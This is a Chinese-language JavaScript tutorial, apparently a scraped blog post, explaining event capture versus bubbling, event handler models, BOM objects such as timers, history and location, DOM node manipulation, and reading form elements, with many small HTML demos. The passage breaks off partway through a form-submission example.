整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

事件的捕获和冒泡

事件的捕获和冒泡

考API地址:https://developer.mozilla.org/zh-CN/docs/Web/API/EventTarget/addEventListener#%E8%AF%AD%E6%B3%95

添加一个监听事件,首先我们看一下API的语法如下

addEventListener(type, listener);
addEventListener(type, listener, options);
addEventListener(type, listener, useCapture);

常用到的是第一个和第三个因为,useCapture默认值是false

useCapture 可选

一个布尔值,表示在 DOM 树中注册了 listener 的元素,是否要先于它下面的 EventTarget 调用该 listener。当 useCapture(设为 true)时,沿着 DOM 树向上冒泡的事件不会触发 listener。当一个元素嵌套了另一个元素,并且两个元素都对同一事件注册了一个处理函数时,所发生的事件冒泡和事件捕获是两种不同的事件传播方式。事件传播模式决定了元素以哪个顺序接收事件。进一步的解释可以查看 DOM Level 3 事件及 JavaScript 事件顺序文档。如果没有指定,useCapture 默认为 false。

这个值的作用有什么用呢?下面我开始了我的摸索和见解。废话不多说开始上demo演示。

<!DOCTYPE html>
<html lang="zh-CN>
<head>
    <meta charset=" UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
    div {
        padding: 15px;
        border: 1px solid #e5f3fe;
        position: relative;
        overflow: hidden;
    }

    span {
        background-color: #f2f1f1;
        padding: 8px 15px;
        margin: 15px;
        display: inline-block;
    }

    .description {
        font-size: 22px;
        font-weight: 600;
    }
</style>
</head>

<body>
    <p class="description">
        ok 兄弟你每次点击“节点2” 就会发现这个参数的不同点了。是不是 它的触发顺序出现了不同 对 就是这样的。
    </p>
    <label>
        <input checked onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio2" value="false" />
        useCapture=false
    </label>
    <label>
        <input onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio1" value="true" />
        useCapture=true
    </label>
    
    <div title="节点1">
        <span>节点1</span>
        <div title="节点2">
            <span>节点2</span>
        </div>
    </div>

    <script>
        //  个人总结:false的话 就是事件冒泡了 从子元素到父元素
        // true的话   就是事件捕获 从父到子!
        let useCapture=false
        // 添加事件
        function bindEvent() {
            const targets=document.querySelectorAll('div')
            targets.forEach(element=> {
                element.addEventListener('click', handleClick, useCapture)
            });
        }
        // 移除事件
        function removeEvent() {
            const targets=document.querySelectorAll('div')
            targets.forEach(element=> {
                element.removeEventListener('click', handleClick, useCapture)
            });
        }
        // div click handle
        function handleClick(event){
            // event.stopPropagation()
            alert(this.getAttribute('title'))
        }
        // 处理 radio change
        function radioChange(checked) {
            removeEvent()             
            console.log('radioChange')
            console.log(checked)
            useCapture=checked=="true" ? true : false
            bindEvent()
        }
        // 执行绑定事件
        bindEvent()
    </script>
</body>

</html>

demo运行起来是这样的效果

demo运行起来是这样的效果


我们发现当div或者出发事件的元素存在嵌套的情况下,这个是控制事件的执行顺序的。useCapture=false默认是冒泡,冒泡怎么理解呢就是水里的泡泡往上冒么,那么就是从子元素王父元素执行。

Capture=true就是捕获点击一下先相应父级元素的事件,然后传递到子元素。也就是先执行父的事件在执行子的事件。

还有一个就是阻止事件冒泡的 event.stopPropagation();

API文档地址:https://developer.mozilla.org/zh-CN/docs/Web/API/Event/stopPropagation

我们改动一下我们的DEMO再看看

<!DOCTYPE html>
<html lang="zh-CN>
<head>
    <meta charset=" UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
    div {
        padding: 15px;
        border: 1px solid #e5f3fe;
        position: relative;
        overflow: hidden;
    }

    span {
        background-color: #f2f1f1;
        padding: 8px 15px;
        margin: 15px;
        display: inline-block;
    }

    .description {
        font-size: 22px;
        font-weight: 600;
    }
</style>
</head>

<body>
    <p class="description">
        ok 兄弟你每次点击“节点2” 就会发现这个参数的不同点了。是不是 它的触发顺序出现了不同 对 就是这样的。
    </p>
    <label>
        <input checked onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio2" value="false" />
        useCapture=false
    </label>
    <label>
        <input onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio1" value="true" />
        useCapture=true
    </label>
    
    <div title="节点1">
        <span>节点1</span>
        <div title="节点2">
            <span>节点2</span>
        </div>
    </div>

    <script>
        //  个人总结:false的话 就是事件冒泡了 从子元素到父元素
        // true的话   就是事件捕获 从父到子!
        let useCapture=false
        // 添加事件
        function bindEvent() {
            const targets=document.querySelectorAll('div')
            targets.forEach(element=> {
                element.addEventListener('click', handleClick, useCapture)
            });
        }
        // 移除事件
        function removeEvent() {
            const targets=document.querySelectorAll('div')
            targets.forEach(element=> {
                element.removeEventListener('click', handleClick, useCapture)
            });
        }
        // div click handle
        function handleClick(event){
            event.stopPropagation()
            alert(this.getAttribute('title'))
        }
        // 处理 radio change
        function radioChange(checked) {
            removeEvent()             
            console.log('radioChange')
            console.log(checked)
            useCapture=checked=="true" ? true : false
            bindEvent()
        }
        // 执行绑定事件
        bindEvent()
    </script>
</body>

</html>

发现事件触发了以后,就不再冒泡或者继续往子元素传递了。这是我的理解和简介欢迎大家拍砖。


要内容

事件

事件 (Event) 是 JavaScript 应用跳动的心脏 ,进行交互,使网页动起来。当我们与浏览器中 Web 页面进行某些类型的交互时,事件就发生了。事件可能是用户在某些内容上的点击、鼠标经过某个特定元素或按下键盘上的某些按键。事件还可能是 Web 浏览器中发生的事情,比如说某个 Web 页面加载完成,或者是用户滚动窗口或改变窗口大小。

? 通过使用 JavaScript ,你可以监听特定事件的发生,并规定让某些事件发生以对这些事件做出响应。

作用

(1)验证用户输入的数据。
(2)增加页面的动感效果。
(3)增强用户的体验度

事件中的几个名词

事件源: 谁触发的事件
事件名: 触发了什么事件
事件监听: 谁管这个事情,谁监视?
事件处理:发生了怎么办

例如

闯红灯		事件源:车 ;   事件名: 闯红灯;    监听:摄像头、交警 ;     处理:扣分罚款 
单击按钮   事件源:按钮;   事件名: 单击;     监听:窗口 ;             处理:执行函数

? 当我们用户在页面中进行的点击动作,鼠标移动的动作,网页页面加载完成的动作等,都可以称之为事件名称,即:click、mousemove、load 等都是事件名称,具体的执行代码处理,响应某个事件的函数。

<body onload="loadWindow();"></body>
<script>
	function loadWindow(){
     	alert("加载窗体");
	}
</script>

事件类型

? JavaScript可以处理的事件类型为:鼠标事件、键盘事件、HTML事件

? http://www.w3school.com.cn/tags/html_ref_eventattributes.asp 用+查

? Window 事件属性:针对 window 对象触发的事件(应用到 标签)

? Form 事件:由 HTML 表单内的动作触发的事件(应用到几乎所有 HTML 元素,但最常用在 form 元素中)

? Keyboard 事件 : 键盘事件

? Mouse 事件:由鼠标或类似用户动作触发的事件

? Media 事件:由媒介(比如视频、图像和音频)触发的事件(适用于所有 HTML 元素,但常见于媒介元素中,比如 、、、 以及 )

? 几个常用的事件:

? onclick 、onblur 、onfocus 、onload 、onchange

? onmouseover、onmouseout、onkeyup、onkeydown

onload:当页面或图像加载完后立即触发

onblur:元素失去焦点

onfocus:元素获得焦点

onclick:鼠标点击某个对象

onchange:用户改变域的内容

onmouseover:鼠标移动到某个元素上

onmouseout:鼠标从某个元素上离开

onkeyup:某个键盘的键被松开

onkeydown:某个键盘的键被按下

事件流和事件模型

? 我们的事件最后都有一个特定的事件源,暂且将事件源看做是HTML的某个元素,那么当一个HTML元素产生一个事件时,该事件会在元素节点与根节点之间按特定的顺序传播,路径所经过的节点都会受到该事件,这个传播过程称为DOM事件流。

? 事件顺序有两种类型:**事件捕获 **和 事件冒泡

? 冒泡和捕获其实都是事件流的不同表现,这两者的产生是因为IE和Netscape两个大公司完全不同的事件流概念产生的。(事件流:是指页面接受事件的顺序)IE的事件流是事件冒泡,Netscape的事件流是事件捕获流。

事件冒泡

? IE的事件流叫做事件冒泡,即事件开始时由最具体的元素接受,然后逐级向上传播到较为不具体的节点(文档)。例如下面的:

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>JavaScript</title>
	</head>
	<body>
		<div id="myDiv">Click me</div>
	</body>
</html>

? 如果点击了页面中的

元素,那么这个click事件会按照如下顺序传播:


? 1、


? 2、

? 3、

? 4、document

? 也就是说,click事件首先在div元素上发生,而这个元素就是我们单击的元素。然后,click事件沿DOM树向上传播,在每一级节点上都会发生,直到传播到document对象。

? 所有现代浏览器都支持事件冒泡,但在具体实现上还是有一些差别。

事件捕获

? Netscape提出的另一种事件流叫做事件捕获,事件捕获的思想是不太具体的节点应该更早接收到事件,而最具体的节点应该最后接收到事件。事件捕获的用意在于在事件到达预定目标之前捕获它。还以前面的例子为例。那么单击

元素就会按下列顺序触发click事件:


? 1、document

? 2、

? 3、

? 4、


? 在事件捕获过程中,document对象首先接收到click事件,然后沿DOM树依次向下,一直传播到事件的实际目标,即

元素。


? 虽然事件捕获是Netscape唯一支持的事件流模式,但很多主流浏览器目前也都支持这种事件流模型。尽管“DOM2级事件”规范要求事件应该从document对象开始时传播,但这些浏览器都是从window对象开始捕获的。

DOM 事件流

? “DOM2级事件”规定的事件流包括三个阶段:事件捕获阶段、处于目标阶段和事件冒泡阶段。首先发生的是事件捕获阶段,为截获事件提供了机会。然后是实际的目标接收到事件。最后一个阶段是冒泡阶段,可以在这个阶段对事件做出响应。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8WOxp342-1608883565334)(/图片1dfgh.png)]

事件处理程序

? 事件就是用户或浏览器自身执行的某种动作。例如click、load和mouseover都是事件的名字,而响应某个事件的函数就叫做事件处理程序(或事件侦听器)。事件处理程序的名字以“on”开头,因此click事件的事件处理程序就是onclick,为事件指定处理程序的方式有好几种。

HTML 事件处理程序

? 某个元素支持的每种事件,都可以用一个与相应事件处理程序同名的HTML特性来指定。这个特性的值应该是能够执行的JavaScript代码:

<input type="button" value="Press me" onclick="alert('thanks');" />

? 这样做有一些缺点,例如耦合度过高,还可能存在时差问题(当用户点击按钮时,处理函数还未加载到,此时处理函数是单独写的一段js代码),而且在不同的浏览器上可能会有不同的效果。

DOM0 级事件处理程序

? 通过JavaScript指定事件处理程序的传统方式,就是将一个函数赋值给一个事件处理程序属性。这种方式被所有现代浏览器所支持。这种方式首先必须取得一个要操作的对象的引用,每个元素都有自己的事件处理程序属性,这些属性通常全都小写,例如onclick,然后将这种属性的值设为一个函数,就可以指定事件处理程序了。例如:

<body>
    <button id="myBtn">按钮</button>
    <script type="text/javascript">
        var btn=document.getElementById('myBtn');
        btn.onclick=function(){
            console.log('you click a button');
        }
    </script>
</body>

? 以这种方式添加的事件处理程序会在事件流的冒泡阶段被处理。而且,只能为同一个元素的同一个事件设定一个处理程序(覆盖),也可以通过删除DOM0级方法指定的事件处理程序,只要将属性值设为null即可:

btn.onclick=null;

DOM2 级事件处理程序

? “DOM2级事件”定义了两个方法,用于处理指定和删除事件处理程序的操作:addEventListener()和removeEventListener()。所有DOM节点都包含这两个方法,并且他们都接受3个参数:要处理的事件名、作为事件处理程序的函数和一个布尔值。最后这个布尔值参数如果是true,则表示在捕获阶段调用事件处理程序;如果是false则表示在冒泡阶段调用事件处理程序。

<body>
    <button id="myBtn">按钮</button>
    <script type="text/javascript">
        var btn=document.getElementById('myBtn')
        btn.addEventListener('click',function(){
            alert('you add a eventListener by DOM2')
        },false)

        btn.addEventListener('click',function(){
            alert('you add a eventListener by DOM2 again')
        },false)

        function thread(){
            alert('you add a eventListener by DOM2 第三次')
        }
        btn.addEventListener('click',thread,false)
        btn.removeEventListener('click',thread,false)
    </script>
</body>

? 这种方式可以为同一个元素的同一个事件添加多个处理函数。还可删除事件处理函数,注意,在删除的时候,不能删除匿名处理函数。

本节作业

1. 常用的几种事件
2. 绑定事件的几种方式

BOM对象

? BOM的核心对象是window,它表示浏览器的一个实例。window对象有双重角色,它既是通过JavaScript访问浏览器窗口的一个接口,又是ECMAScript规定的Global对象。这意味着在网页中定义的任何一个对象、变量和函数,都以window作为其Global对象,因此有权访问parseInt()等方法。如果页面中包含框架,则每个框架都拥有自己的window对象,并且保存在frames集合中。在frames集合中,可以通过数值索引(从0开始,从左至右,从上到下)或者框架的名称来访问相应的window对象。

Window对象方法

系统对话框

? 浏览器通过(实际是window对象的方法)alert()、confirm()、prompt()方法可以调用系统对话框向用户显示消息。

(1)消息框:alert, 常用。
    alert() 方法用于显示带有一条指定消息和一个 OK 按钮的警告框。
(2)输入框:prompt,返回提示框中的值。
    prompt() 方法用于显示可提示用户进行输入的对话框。
    参数(可选):
       第一个参数:要在对话框中显示的纯文本。
 	   第二个参数:默认的输入文本。
(3)确认框:confirm,返回 true/false.
confirm() 方法用于显示一个带有指定消息和 OK 及取消按钮的对话框。
<style type="text/css">
	#aa{
		border: 1px solid red;
		height: 100px;
	}
</style>
<body>
	<div id="aa">
		This is a div
	</div>
	<button onclick="testAlert();">警告</button>
	<button onclick="testComfirm();">修改</button>
	<button onclick="testPrompt();">输入</button>
	<script type="text/javascript">
		// 1.警告框
		function testAlert(){
			alert('警告框!!!');
		}			
	
        /*
		 2.输入框
		 	返回值:输入的内容
		 * */
		function testPrompt(){
			var item=prompt('请输入年龄'); // item得到输入的值
			// console.log(item)
			// alert(prompt('请输入年龄',18)); // 将输入的值输出
		}
        
		/*
		 3.确认框
		 	返回值:boolean(true|false)
		 * */
		function testComfirm(){
			var result=confirm('真的要改吗?');
			if(result){
				var ele=document.getElementById("aa");
				ele.style.color="red";
				ele.innerHTML="<span>fdsfsd</span>";
			}else{
				alert("没事别瞎点。。。");
			}
		}
	</script>
</body>

打开窗口

? window.open()方法既可以导航到一个特定的URL也可以用来打开一个新的窗口

<script type="text/javascript">
function openBaidu(){
	window.open('http://www.baidu.com','_self'); // _self、_blank等
	// window.open();		//空白窗口
}
</script>
<input type="button" name="open" value="百度" onclick='openBaidu();' />

关闭窗口

? window.close():关闭窗口。

? 例:点击按钮关闭当前窗口。

<input type="button" value="关闭窗口" onclick="window.close();" />

时间函数

setTimeout()

? setTimeout() : 在指定的毫秒数后调用函数或计算表达式。返回一个唯一的标识;也可以通过返回的标识cliearTimeout(id): 来清除指定函数的执行。

var id=setTimeout(function,times);
clearTimeout(id);

示例:

<script type="text/javascript">
	// 延迟3 秒后出现 alert
	function hello() { 
		  alert("对不起, 要你久候"); 
	}
	setTimeout("hello()", 3000);
    
    // 时间显示器
	var timeout;
    function init(){
		   // 拿到当前时间
		   var date=new Date();
		   var time=date.toLocaleString();
		   // 拿到相应对象
	  	   var h1=document.getElementById('h1');
		   // 根据需求添加样式
		   if(0==date.getSeconds()){	// 当时间的秒数变成0时,显示红色字体
			   h1.innerHTML='<span style="color:red">' + time + '</span>';
		   } else {
			   h1.innerHTML=time;
		   }
		   /*
		    * 	定时操作,只执行一次
		 	    第一个参数:执行的方法;第二个参数:定时,单位是毫秒
		    * */
		    setTimeout(init,1000);   // 等多少时间来执行
	}
	// window.setTimeout(init,1000);// 只执行一次		
	// 停止操作
	function stopShow () {
        clearTimeout(timeout);
    }
</script>
<body onload="init();">
	<h1 id="h1"></h1>
    <button onclick="stopShow()">时间停止</button>
</body>

? 在times毫秒后执行function指定的方法,执行之前也可以取消

setInteval()

? setInterval():可按照指定的周期(以毫秒计)来调用函数或计算表达式,也可根据返回的标识用来结束。该方法会不停地调用函数,直到 clearInterval() 被调用或窗口被关闭。

var id=setInterval(function,times);
clearInterval(id);
function test(){
	console.log(".....");
}
// window是一个全局对象,通过全局对象调用setInterval()函数
window.setInterval(test,1000);

history对象

? history 对象是历史对象。包含用户(在浏览器窗口中)访问过的 URL。history 对象是 window 对象的一部分,可通过 window.history 属性对其进行访问。

? history对象的属性:length,返回浏览器历史列表中的 URL 数量。

? history对象的方法:

? back():加载 history 列表中的前一个 URL。

? forward():加载历史列表中的下一个 URL。当页面第一次访问时,还没有下一个url。

? go(number|URL): URL 参数使用的是要访问的 URL。而 number 参数使用的是要访问的 URL 在 History 的 URL 列表中的相对位置。go(-1),到上一个页面

013-history.html

<body>
	<a href="013-history-a.html">013-history-a.html</a>
	<h1>我是第一个页面</h1>
    <input type="button"  value="前进" onclick="window.history.forward();" />
    <script>
        console.log(window.history);
    </script>
</body>

013-history-a.html

<body>
	<a href="013-history-b.html">013-history-b.html</a>
	<h1>我是A页面</h1>
	<input type="button" value="后退"  onclick="window.history.back();"/>
</body>

013-history-b.html

<body>
	  <h1>我是B页面</h1>
	  <input type="button" value="第一个页面" onclick="window.history.go(-2);"/>
	  <input type="button" value="后退"  onclick="window.history.back();"/>
</body>

location对象

? location 对象是window对象之一,提供了与当前窗口中加载的文档有关的信息,还提供了一些导航功能。也可通过 window.location 属性来访问。

? location 对象的属性 href:设置或返回完整的 URL

? location 对象的方法

? reload():重新加载当前文档。

? replace():用新的文档替换当前文档。

<script type="text/javascript">
	function openBaidu(){
        // 没有历史记录,用新的文档替换当前文档
		// window.location.replace("http://www.baidu.com");
		// console.log(window.location.href); // 获取完整的url
		window.location.href="http://www.baidu.com";
	}
</script>
<body>
	<input type="text"  value="" />
	<input type="button" value="刷新" onclick="window.location.reload();" />
	<input type="button"  value="百度" onclick="openBaidu();" />
</body>

本节作业

  1. 实现时间计时功能
  2. JS的跳转方式

DOM对象

? DOM:Document Object Model 文档对象模型

? 要实现页面的动态交互效果,bom 操作远远不够,需要操作 html 才是核心。如何操作 htm,就是 DOM。简单的说,dom 提供了用程序动态控制 html 接口。DOM即文档对象模型描绘了一个层次化的节点树,运行开发人员添加、移除和修改页面的某一部分。dom 处于javascript 的核心地位上。

? 每个载入浏览器的 HTML 文档都会成为 Document 对象。Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。Document 对象是 Window 对象的一部分,可通过 window.document 属性对其进行访问。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BShAnTK7-1608883565338)(/图片1trj.png)]

节点

? 加载 HTML 页面时,Web 浏览器生成一个树型结构,用来表示页面内部结构。DOM 将这种树型结构理解为由节点组成,组成一个节点树。对于页面中的元素,可以解析成以下几种类型的节点:

节点类型HTML内容例如文档节点文档本身整个文档 document元素节点所有的HTML元素、、


属性节点HTML元素内的属性id、href、name、class文本节点元素内的文本hello注释节点HTML中的注释

? html --> 文档节点

? div --> 元素节点

? title --> 属性节点

? 测试 Div --> 文本节点

<html>
    <head>
        <title>树!树!到处都是树!</title>
    </head>
    <body>
      <div title="属性节点">测试 Div</div>
    </body>
</html>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AVMijlup-1608883565345)(/图片1fdgfh.png)]

操作元素的节点

? 当HTML文档在被解析为一颗DOM树以后,里面的每一个节点都可以看做是一个一个的对象,我们称为DOM对象,对于这些对象,我们可以进行各式各样的操作,查找到某一个或者一类节点对象,可以创建某种节点对象,可以在某个位置添加节点对象,甚至可以动态地删除节点对象,这些操作可以使我们的页面看起来有动态的效果,后期结合事件使用,就能让我们的页面在特定时机、特定的事件下执行特定的变换。

获取节点

? 在进行增、删、改的操作时,都需要指定到一个位置,或者找到一个目标,此时我们就可以通过Document对象提供的方法,查找、定位某个对象(也就是我们说的节点)。

? 注意:操作 dom 必须等节点初始化完毕后,才能执行。

? 处理方式两种:

? (1)把 script 调用标签移到html末尾即可;

? (2)使用onload事件来处理JS,等待html 加载完毕再加载 onload 事件里的 JS。

window.onload=function () { //预加载 html 后执行};

? 获取方式如下:

方法描述getElementById()根据id获取dom对象,如果id重复,那么以第一个为准getElementsByTagName()根据标签名获取dom对象数组getElementsByClassName()根据样式名获取dom对象数组getElementsByName()根据name属性值获取dom对象数组,常用于多选获取值

<body>
	<p id="p1" class="para">这是一个段落<span>文本</span></p>
	<p id="p1" class="para">这又是一个段落</p>
	<input type="text" name="txt" />
	<input type="checkbox" name="hobby" value="游泳" />游泳
	<input type="checkbox" name="hobby" value="篮球" />篮球
	<input type="checkbox" name="hobby" value="足球" />足球
	<hr />
	<a href="javascript:void(0)" onclick="testById()">按照id获取</a>
	<a href="javascript:void(0)" onclick="testByName()">按照name获取</a>
	<a href="javascript:void(0)" onclick="testByTagName()">按照标签名获取</a>
	<a href="javascript:void(0);" onclick="testByClass();">按照class获取</a>
</body>

? 说明:href=“javascript:void(0)”:伪协议,表示不执行跳转,而执行指定的点击事件。

<script type="text/javascript">
	// 按照id获取元素
	function testById() {
		// 返回单个对象
		var p=document.getElementById("p1");
		console.log(p);
		// 表示获取元素开始标签和结束标签之间的html结构
		console.log(p.innerHTML); 			
		console.log(p.innerText); // 表示获取标签之间的普通文本
	}

	// 按照name获取元素
	function testByName() {
		// 对象数组
		var ho=document.getElementsByName("hobby");
		console.log(ho);
		for(var i=0; i <=ho.length - 1; i++) {
			console.log(ho[i].value);
		}
	}

	// 按照标签名获取元素
	function testByTagName() {
		// 对象数组
		var inputArr=document.getElementsByTagName("input");
		for(var i=0; i < inputArr.length; i++) {
			if(inputArr[i].type=="text") {
				console.log("text类型");
			} else if(inputArr[i].type=="checkbox") {
				if(inputArr[i].checked) {
					console.log(inputArr[i].value);
				}
			}
		}
	}

	// 按照class属性获取元素
	function testByClass() {
		// 对象数组
		var ps=document.getElementsByClassName("para");
		console.log(ps[0].innerHTML);
		ps[0].innerHTML +="这是一段新的文本";
	}
</script>

创建节点和插入节点

? 很多时候我们想要在某个位置插入一个新的节点,此时我们首先需要有一个节点存在,可以通过以下几种方式创建新节点。

创建节点

方法描述createElement()创建一个新的节点,需要传入节点的标签名称,返回创建的元素对象createTextNode()创建一个文本节点,可以传入文本内容innerHTML也能达到创建节点的效果,直接添加到指定位置了

插入节点

方法描述write()将任意的字符串插入到文档中appendChild()向元素中添加新的子节点,作为最后一个子节点insertBefore()向指定的已有的节点之前插入新的节点newItem:要插入的节点exsitingItem:参考节点 需要参考父节点

<button onclick="add()">添加段落</button>
<div id="container"></div>
		
<script type="text/javascript">
	function add(){
	    var container=document.getElementById('container')
	    var paragraph=document.createElement('p');
	    var txt=document.createTextNode('hello')
	    paragraph.appendChild(txt)
	    container.appendChild(paragraph)
}
</script>

添加 “段落、图片、文本框、选项”

<body>
	<button onclick="addPara();">添加段落</button>
	<button onclick="addImg();">添加图片</button>
	<button onclick="addTxt();">添加文本框</button>
	<button onclick="addOptions()">添加选项</button> 
	<select name="music">
		<option value="-1">你心内的一首歌</option>
		<option value="0">南山南</option>
		<option value="1">喜欢你</option>
	</select>
	<hr />
	<div id="container"></div>
</body>
<script type="text/javascript">	
	// 添加p节点
	function addPara(){
		// 获取容器
		var container=document.getElementById("container");
		// 创建段落<p></p>
		var p=document.createElement('p');  	
		// 第一种方式
		// 创建文本节点
		var txt=document.createTextNode("以后的你会感谢现在努力的你");
		// 将txt节点追加到p节点中
		p.appendChild(txt);
		// 将p节点追加到container节点中
		container.appendChild(p);		
		/*
		// 第二种方式
		// 向p节点中添加内容
		p.innerHTML="以后的你会感谢现在努力的你";
		// 将p节点追加到container节点中
		container.appendChild(p);
		*/	
		/*
		// 第三种方式
		// 将字符串类型的p标签内容添加到container中,不会添加多次
		var str="<p>以后的你会感谢现在努力的你</p>";
		container.innerHTML=str;
		*/
	}	
    
	// 添加图片
	function addImg(){
		// 创建图片
		var img=document.createElement("img") ;			
		/*
		// 设置属性第一种方式
		// 设置img标签的src属性
		// img.src="http://www.baidu.com/img/bd_logo1.png";
		*/		
		// 设置属性第二种方式
		// setAttribute() 方法添加指定的属性,并为其赋指定的值。
		// 设置img的src属性
		img.setAttribute('src','http://www.baidu.com/img/bd_logo1.png');
		img.style.width='300px';		
		img.style.height='200px';			
		// 获取容器
		var container=document.getElementById("container");
		// 将img节点追加到container中。
		container.appendChild(img);
	}	
    
	// 添加文本框
	function addTxt(){
		// 创建文本框
		var txt=document.createElement("input");	
		/*
		// 设置类型第一种方式
		txt.type="text"; 
		txt.value="添加成功";
		*/
		// 设置类型第二种方式
		txt.setAttribute('type', 'text');
		txt.setAttribute('value', '添加成功');
		/*
		 * txt.type='password'
		 * txt.value='123'
		 */
		// 获取容器
		var container=document.getElementById("container");
		// 将txt节点追加到container中。
		container.appendChild(txt);
	}
    
	// 添加下拉框的选项			
	function addOptions(){
		// 第一种方式
		/*
		// 创建下拉项
		var option=document.createElement("option") ;
		option.value="2" ;
		option.text="油菜花" ;
		// 获取下拉框
		var sel=document.getElementsByTagName("select")[0];
		// 添加 下拉项 
		sel.appendChild(option);
		*/					
		// 第二种方式:
		var option=document.createElement("option") ;
		option.value="2" ;
		option.text="不该" ;
		// 获取下拉框
		var sel=document.getElementsByTagName("select")[0];
		// 添加下拉项
		sel.options.add(option);		
		// 第三种方式: 添加下拉项
		var sel=document.getElementsByTagName("select")[0];
		sel.innerHTML +="<option value='2'>英雄</option>" ;
	}			
</script>

间接查找节点

方法|属性描述childNodes返回元素的一个子节点的数组firstChild返回元素的第一个子节点lastChild返回元素的最后一个子节点nextSibling返回元素的下一个兄弟节点parentNode返回元素的父节点previousSibling返回元素的上一个兄弟节点

删除节点

方法|属性描述removeChild()从元素中移除子节点

<script type="text/javascript">
	function delNode(){
		var programmer=document.getElementById("programmer");
		// 从父元素中删除节点,获取要删除对象的父元素,然后从父元素中删除该对象
		programmer.parentNode.removeChild(programmer);
	}
</script>
<body>
	<span id="programmer">程序猿</span>
	<a href="javascript:void(0)" onclick="delNode();">删除</a>
</body>

表单

? 表单是我们页面向后台传输数据的一种非常常见的方式,在进行数据发送(请求发出)之前,我们应该现在页面进行一系列数据合法性的验证,节省不必要的错误数据的传输,以及提高用户的体验度。

获取表单

前两种常用

1、document.表单名称
2、document.getElementById(表单 id);
3、document.forms[表单名称]
4、document.forms[索引]; //从 0 开始

例如:

<body>
	<form id='myform' name="myform" action="" method="post"></form>
	<form id='myform2' name="myform2" action="" method="post"></form>
</body>
<script>
	//四种方式
	var form=document.getElementById("myform");
	form=document.myform;
	form=document.forms["myform"];
	form=document.forms[0];
	console.log(form);
</script>

获取表单元素

获取input元素

? 如 text password hidden textarea等,前两种常用。

1)、通过 id 获取:document.getElementById(元素 id);
2)、通过 form.名称形式获取: myform.元素名称;    name属性值
3)、通过 name 获取 :document.getElementsByName(name属性值)[索引] // 从0开始
4)、通过 tagName 数组 :document.getElementsByTagName('input')[索引] // 从0开始
<body>
	<form id='myform' name="myform" action="" method="get">		
		姓名:<input type="text" id="uname" name="uname" value="zs"/><br />
		密码:<input type="password" id="upwd" name="upwd" value="1234"/><br />
		<input type="hidden" id="uno" name="uno" value="隐藏域" />
		个人说明:<textarea name="intro"></textarea>
		<button type="button" onclick="getTxt();" >获取元素内容</button>
	</form>
</body>
<script>
	function getTxt(){
		var uno=document.getElementById("uno");
		var uname=myform.uname;
		console.log(uname + "--------");
		var upwd=document.getElementsByTagName('input')[1] ;
		var intro=document.getElementsByName("intro")[0];				
		console.log(uno.value +","+ uname.value +","+ upwd.value +","+ intro.value);
	}
</script>

获取单选按钮

? 前提:将一组单选按钮设置相同的name属性值

? (1)获取单选按钮组:

document.getElementsByName("name属性值");
(2)遍历每个单选按钮,并查看单选按钮元素的checked属性

? 若属性值为true表示被选中,否则未被选中

? 选中状态设定: checked=‘checked’ 或 checked=‘true’ 或 checked

? 未选中状态设定: 没有checked属性 或 checked=‘false’

<form action="" name="myform">
	<input type="text" name="inputName" value="aaa" />
	<input type="radio" name="rad" value="1" />	1
	<input type="radio" name="rad" value="2"  /> 2
</form>
		
<script type="text/javascript">
	var radios=document.getElementsByName('rad');
	//radios[0].checked='checked'
	for(var i=0; i<radios.length; i++){
	    console.log(radios[i].checked + '---' + radios[i].value)
	}
</script>

获取多选按钮

? 操作方式与单选同理,不同之处在于可以多选

var ufav=document.getElementsByName("ufav");
var favstr="";
    for (i=0;i < ufav.length; i++){
        if(ufav[i].checked){
            favstr +=ufav[i].value+",";
        }
    }
favstr=favstr.substr(0,favstr.length-1);

获取下拉选项

? (1)获取 select 对象:

var ufrom=document.getElementById("ufrom");

? (2)获取选中项的索引:

var idx=ufrom.selectedIndex;

? (3)获取选中项 options 的 value属性值:

var val=ufrom.options[idx].value;

? 注意:当通过options获取选中项的value属性值时,

? 若没有value属性,则取option标签的内容

? 若存在value属性,则取value属性的值

? (4)获取选中项 options 的 text:

var txt=ufrom.options[idx].text;

? 选中状态设定:selected=‘selected’、selected=true、selected

? 未选中状态设定:不设selected属性

<body onload="init()">
	<form id='myform' name="myform" action="" method="">		
		来自:
		<select id="ufrom" name="ufrom">
			<option value="-1" >请选择</option>
			<option value="0" selected="selected">北京</option>
			<option value="1">上海</option>
		</select><br />
		<button type="button" id="sub" name="sub">提交</button>
	</form>
</body>
<script>
	function init () {
		var sub=document.getElementById("sub");
		sub.onclick=function () {
			//获取select对象
			var ufrom=document.getElementById("ufrom");
			console.log("表单对象:" + ufrom);
			//获取选中的索引
			var idx=ufrom.selectedIndex;
			console.log("选中项的索引值:" + idx);
			//获取选中项的value值
			var val=ufrom.options[idx].value;
			console.log("选中项的value属性值:" + val);
			//获取选中项的text
			var txt=ufrom.options[idx].text;
			console.log("选中项的text:" + txt);
		}
	}
</script>

提交表单

? (1)使用普通button按钮+onclick事件+事件中编写代码:

	获取表单.submit();

(2)使用submit按钮 + onclick="return 函数()" +函数编写代码: 

? 最后必须返回:return true|false;

(3)使用submit按钮/图片提交按钮 + 表单onsubmit="return 函数();" +函数编写代码: 

? 最后必须返回:return true|false;

<form id='myform1' name="myform2" action="#" method="get" onsubmit="return onsub();">	
	<input  name="test"  id="uname"/><span id="msg"></span><br />
	<!--通过js事件:sub()提交表单-->
	<input type="button" onclick="sub();" value="提交表单1" />
	<input type="submit" onclick="return sub2();" value="提交表单2" />
	<input type="submit" value="提交onsubmit" /><br />
	<input type="image" src="img/u=71331624,2965806045&fm=23&gp=0.jpg" 
                  width="60px" height="40px" />
</form>
<script type="text/javascript">		
	// input的type=button,调用submit()方法提交
	function sub(){
		document.myform2.submit();
	}
